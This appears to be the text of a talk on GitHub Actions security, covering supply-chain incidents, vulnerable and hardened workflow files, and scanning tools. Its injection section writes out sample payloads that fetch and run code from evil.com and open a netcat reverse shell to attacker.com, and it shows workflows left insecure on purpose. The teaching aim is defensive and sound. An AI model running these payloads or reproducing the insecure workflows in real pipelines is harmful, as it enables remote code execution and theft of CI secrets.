2020
Compromised build system injected malicious code into legitimate software updates affecting 18,000+ organizations including government agencies and Fortune 500 companies
2025
Attackers compromised maintainer bot token, manipulated version tags to point to malicious commits, exfiltrating CI/CD secrets from 23,000+ repositories using this popular GitHub Action
Exploited pull_request_target injection to steal npm token, published malicious Nx packages, weaponized AI tools for secrets exfiltration, exposed 1000s of secrets and private repos
Massive npm supply-chain campaign compromising 700+ packages from Zapier, PostHog, Postman. Preinstall malware exfiltrated secrets across 25,000+ GitHub repos, spreading at 1,000 repos per 30 minutes
"GitHub Actions automates your software development workflow, letting you build, test, and deploy code directly from your GitHub repository. Its tight integration with GitHub has made it one of the most widely adopted CI/CD solutions."
name: GitHub Actions Example on: [push, pull_request] # 1 jobs: build: runs-on: [ubuntu-latest] # 2 steps: - name: Checkout code uses: actions/checkout@v5 # 3 - name: Install dependencies run: npm ci # 4 - name: Run tests run: npm test # 4
push
pull_request
ubuntu-latest
checkout@v5
npm ...
owner/repo@version
From development to deployment - GitHub Actions powers our entire software lifecycle
Build & compile code
Build containers
Run unit tests
Run E2E tests
Security scanning
Code quality checks
Publish packages
Deploy to cloud
Manage infrastructure
Release automation
Generate docs
Deploy static sites
Update dependencies
Tag & version
Automate workflows
Generate reports
Send notifications
Manage secrets
Issue triage
Multi-platform builds
name: Check Changed Files on: [pull_request] jobs: check-changes: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - name: Get changed files uses: tj-actions/changed-files@v45 id: changed-files with: files: | src/** docs/** - name: Process changes run: echo "Changed files: ${{ steps.changed-files.outputs.all_changed_files }}"
name: Check Changed Files on: [pull_request] jobs: check-changes: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4.0.0 - name: Get changed files uses: tj-actions/changed-files@v45.0.7 id: changed-files with: files: | src/** docs/** - name: Process changes run: echo "Changed files: ${{ steps.changed-files.outputs.all_changed_files }}"
🚀 Push Malicious Code
✨ Create Releases
🏷️ Rewrite Tags
name: Secure Workflow on: [pull_request] jobs: secure-build: runs-on: ubuntu-latest steps: # SHA-pinned action for security - uses: actions/checkout@08c690... # v5.0.0 ← SECURE - name: Get changed files # SHA-pinned action for security uses: tj-actions/changed-files@24d32f... # v47 ← SECURE - name: Process changes ...
@v1.2.3
@a1b2c3d
name: Discussion Create on: discussion: jobs: process: env: RUNNER_TRACKING_ID: 0 runs-on: self-hosted steps: - uses: actions/checkout@v5 - name: Handle Discussion run: echo ${{ github.event.discussion.body }}
Hello"; curl evil.com/backdoor | bash; echo "
echo "Issue: Hello"; curl evil.com/backdoor | bash; echo ""
Commands executed on your runner!
Test"; nc attacker.com 4444 -e /bin/bash; echo "
echo "Description: Test"; nc attacker.com 4444 -e /bin/bash; echo ""
Opens reverse shell to attacker!
Part of
Shai-Hulud 2.0Supply Chain Attack
👉 Always sanitize user input 👈
env: TITLE: ${{ github.event.issue.title }} steps: - run: echo "$TITLE"
name: Discussion Create on: discussion: jobs: process: runs-on: self-hosted env: DISCUSSION_BODY: ${{ github.event.discussion.body }}. # ← NEW steps: - uses: actions/checkout@v5 - name: Handle Discussion run: echo $DISCUSSION_BODY # ← CHANGED
name: Build PR on: pull_request: pull_request_target: jobs: build: if: ${{ startsWith(github.event_name, 'pull_request') }} runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 with: ref: ${{ github.event.pull_request.head.sha }} - name: Build env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} API_KEY: ${{ secrets.API_KEY }} run: echo "Building ${{ github.event.pull_request.base.ref }}"
name: Build PR on: pull_request: pull_request_target: # ← DANGEROUS! jobs: build: # Ineffective condition! if: ${{ startsWith(github.event_name, 'pull_request') }} runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 with: # untrusted code in trusted environment! ref: ${{ github.event.pull_request.head.sha }} - name: Build env: # Secrets exposed! GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} API_KEY: ${{ secrets.API_KEY }} # Injection! run: echo "Building ${{ github.event.pull_request.base.ref }}"
🚀 1000s secrets leaked
👥 480 users published private repositories
🏷️ 500 repos from a company exposed
pull_request_target
# DON'T DO THIS! on: pull_request_target # ← Runs in trusted context jobs: build: runs-on: ubuntu-latest steps: - uses: actions/checkout@v3 with: # ← Untrusted code! ref: ${{ github.event.pull_request.head.sha }}
pull_request_target now always uses the default branch for workflow source, preventing outdated workflows from being executed. Note: This only limits the attack surface but doesn't eliminate the risk.
You are giving write permissions and secrets access to untrusted code. Any building step, script execution, or action call could be used to compromise the entire repository
Never rely on caches for security-sensitive workflows like building releases or deploying to production. A poisoned cache can inject malicious code into your build artifacts.
All recent supply chain attacks (tj-actions, S1ngularity, Shai-Hulud 2.0) share the same goal: exfiltrate secrets and GitHub tokens to enable repository takeover, malicious releases, or comproposie other enviorments like cloud
name: Deploy Package on: [push] jobs: deploy: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - name: Publish to registry env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} run: | npm publish git tag v1.0.0 git push --tags
GitHub injects a short lived token into your workflow. Default permission depending on settings.
Malicious code can modify your repository, create releases, delete branches, access secrets, and compromise your entire codebase.
name: Deploy Package on: [push] permissions: {} # no permissions by default jobs: deploy: runs-on: ubuntu-latest permissions: contents: read # read-only access to repository steps: - uses: actions/checkout@v4 - name: Publish to registry env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} run: | npm publish git tag v1.0.0 git push --tags # fails - no write permissions!
Default to no permissions and grant minimal required access on job level.
Failed operations are better than compromised repositories. Add specific permissions only when needed.
jobs: deploy-with-keys: runs-on: ubuntu-latest environment: demo steps: - name: Checkout code uses: actions/checkout@... - name: Set up AWS uses: aws-actions/configure-aws-credentials@... with: aws-access-key-id: ${{ secrets.AWS_ACCESS_KEY_ID }} aws-secret-access-key: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
jobs: deploy-with-oidc: runs-on: ubuntu-latest environment: demo permissions: id-token: write steps: - name: Configure AWS with OIDC uses: aws-actions/configure-aws-credentials@... with: role-to-assume: arn:aws:iam::123:role/minimal-access-role
// AWS Trust Policy "Statement": [{ ... "Principal": { "Federated": "<arn:aws:iam::123:oidc-provider/token.actions.githubusercontent.com>" }, "Action": "sts:AssumeRoleWithWebIdentity", "Condition": { "StringEquals": { "token.actions.githubusercontent.com:sub": "repo:my-org/my-repo:more-conditions"], "token.actions.githubusercontent.com:aud": "sts.amazonaws.com" ...
jobs: deploy-production: environment: production runs-on: ubuntu-latest steps: - name: checkout code uses: actions/checkout@v5 - name: Deploy to production env: API_KEY: ${{ secrets.PROD_API_KEY }} run: deploy.sh production
❌ WRONG
"Condition": { "StringEquals": { "...:sub": "repo:my-org/project-*", } }
✅ GOOD
"Condition": { "StringEquals": { "...:sub": "repo:my-rog/project-x:environment:production", } }
We've explored common security risks and their solutions
❌ Floating tags can be hijacked
✅ Pin to SHA + use Dependabot
❌ User input directly in run commands
✅ Use environment variables
❌ Untrusted code + write permissions
✅ Extreme caution with non controlled triggers
❌ Avoid long lived secrets
✅ Explicit least-privilege permissions
Allow list for trusted actions
Enforce SHA pinned actions
Drop GITHUB_TOKEN to read-only permissions
Be cautious with write tokens in a PR
Scan Actions with with GHAS
Review GitHub Actions do not blindly trust
Unlock GHAS power for secrets & multi-language protection
Community-driven tools to enhance your GitHub Actions security
A dedicated linter for GitHub Actions that provides comprehensive security rules and integrates seamlessly into CI/CD workflows.
Security Focus
An Infrastructure as Code (IaC) security scanner that analyzes cloud infrastructure configurations to identify and fix security policy violations.
IaC Security
A general-purpose linter for GitHub Actions workflows focused on syntax validation and ensuring best practices are followed.
Syntax & Quality
Extensive rule set for comprehensive scanning
Highly configurable to fit your needs
Integrates with GHAS seamlessly
Use with CLI, IDE, pre-commit or Actions
Your pipelines typically have extensive permissions - they can modify code, access secrets, and deploy to production. Treat them with the respect they deserve.
With great power comes great responsibility. GitHub Actions gives you incredible capabilities, but every workflow is a potential attack vector if not properly secured.
Be selective about third-party actions, untrusted input, and dangerous triggers. Pin versions, validate inputs, and use least privilege.
Use GHAS and Zizmor to gate vulnerabilities early. Automate security scanning and block unsafe code in your workflow.
Scan for resources
🔥 SolarWinds (2020) What Happened: Hackers compromised SolarWinds' build system and injected SUNBURST backdoor into legitimate Orion software updates. 18,000+ organizations installed the malicious update thinking it was official. Key Lesson: Your build pipeline IS your product. If attackers control your CI/CD, they control what gets shipped to customers. Build system security = product security. ⚡ tj-actions/changed-files (2025) What Happened: Compromised maintainer bot token, manipulated git tags to point to malicious commits. 23,000+ repos using @latest tags automatically pulled and executed malicious code that stole their CI secrets. Key Lesson: Never use floating tags (@latest, @main, @v1) in production. Always pin GitHub Actions to specific commit SHAs. Floating tags = uncontrolled automatic updates = potential automatic compromise. 🎭 S1ngularity - Nx (2025) What Happened: Exploited pull_request_target injection to steal npm token, published malicious Nx packages, which were then auto-installed by AI coding tools (Cursor, Cline), exfiltrating secrets from thousands of developer machines and CI environments. Key Lesson: pull_request_target gives untrusted code write access - extremely dangerous. AI tools amplify attack scale by auto-installing packages. One vulnerable workflow + package registry access = mass compromise at machine speed. 🪱 Shai-Hulud 2.0 (2025) What Happened: Massive npm supply-chain campaign compromising 700+ packages from major projects (Zapier, ENS Domains, PostHog, Postman). Preinstall malware executed during npm install, exfiltrating secrets and tokens across dev machines and CI/CD pipelines. Attack spread rapidly at ~1,000 new repos every 30 minutes, affecting 25,000+ GitHub repositories across ~500 users. Stolen data was cross-published, meaning victim credentials appeared in unaffiliated GitHub accounts. Key Lesson: Preinstall hooks can execute before your code even runs - widening attack surface to both dev and CI/CD environments. The scale and automation of modern supply chain attacks is unprecedented. With 27% of cloud environments potentially exposed, even popular, trusted packages can be weaponized. Immediate investigation required for npm-based environments. Meta-lesson across all four: Supply chain attacks exploit trust and automation. The things that make development fast (auto-updates, trusted dependencies, CI/CD automation) become attack vectors when compromised. Defense requires: pin versions, minimize trust, verify everything, and monitor the entire dependency chain.